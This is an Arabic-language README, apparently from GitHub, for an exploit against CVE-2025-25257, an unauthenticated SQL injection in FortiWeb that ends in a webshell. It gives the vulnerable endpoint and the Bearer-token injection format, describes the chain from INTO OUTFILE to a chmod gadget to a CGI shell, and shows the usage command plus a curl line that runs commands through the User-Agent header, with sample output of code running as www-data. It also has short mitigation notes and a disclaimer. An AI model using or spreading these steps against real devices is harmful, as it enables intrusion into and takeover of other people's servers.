🚨 CVE-2025-25257 – SQLi في FortiWeb إلى RCE

حقن SQL حرج → تنفيذ Webshell

اكتشف وسلح بواسطة 0xgh057r3c0n

🧠 نظرة عامة على الثغرة

CVE-2025-25257 يؤثر على أنظمة FortiWeb التي تعرض نقطة النهاية /api/fabric/device/status، والتي تفشل في تعقيم إدخال رأس Authorization بشكل صحيح.

يمكن للمهاجم تنفيذ حقن SQL غير مصادق عليه لكتابة webshell على الخادم وتنفيذ الأوامر عن بعد.

💥 تدفق الهجوم

SQL Injection ➜ SQL INTO OUTFILE ➜ Python chmod Gadget ➜ Trigger ➜ Webshell RCE

📍 نقطة النهاية المعرضة للخطر

GET /api/fabric/device/status
Header: Authorization: Bearer ';<SQLi>

🔓 ميزات الاستغلال

SQLi عبر رمز Bearer
INTO OUTFILE الخاص بـ SQL لإسقاط الشل
خطاف Python يقوم بتشغيل chmod
تنفيذ الأوامر عبر User-Agent
إثبات مفهوم مؤتمت بالكامل

🧪 الاستخدام

python3 CVE-2025-25257.py -t https://target-host.com

ثم:

curl -k -H "User-Agent: whoami" https://target-host.com/cgi-bin/x.cgi

🔧 المتطلبات

Python 3.6+
وحدة requests

التثبيت:

pip install requests

📤 نموذج الإخراج

[*] Writing Webshell Chunk: #!/bin/sh ...
[>] Exporting Webshell to File...
[*] Writing Chmod Gadget Chunk: import os ...
[>] Triggering chmod via Python Hook...
[*] Executing `id` via Webshell...
uid=33(www-data) gid=33(www-data)

[+] Webshell Ready:
    > https://target-host.com/cgi-bin/x.cgi
    > Send commands via User-Agent header

📊 تقدير CVSS

المقياس	القيمة
النتيجة الأساسية	9.8 (حرج)
متجه الهجوم	شبكة
الامتيازات المطلوبة	لا شيء
تفاعل المستخدم	لا شيء

🛡️ التخفيف

تحديث برنامج FortiWeb الثابت (في حال توفر التصحيح)
تعقيم جميع مدخلات الرؤوس
تقييد مسارات كتابة الملفات وتنفيذ CGI

👨‍💻 المؤلف

0xgh057r3c0n 🔗 github.com/0xgh057r3c0n

⚠️ إخلاء المسؤولية

إثبات المفهوم هذا مخصص للاختبار التعليمي والمصرح به فقط. استخدمه على مسؤوليتك الخاصة. المؤلف غير مسؤول عن سوء الاستخدام.

CVE-2025-25257

الأكثر شعبية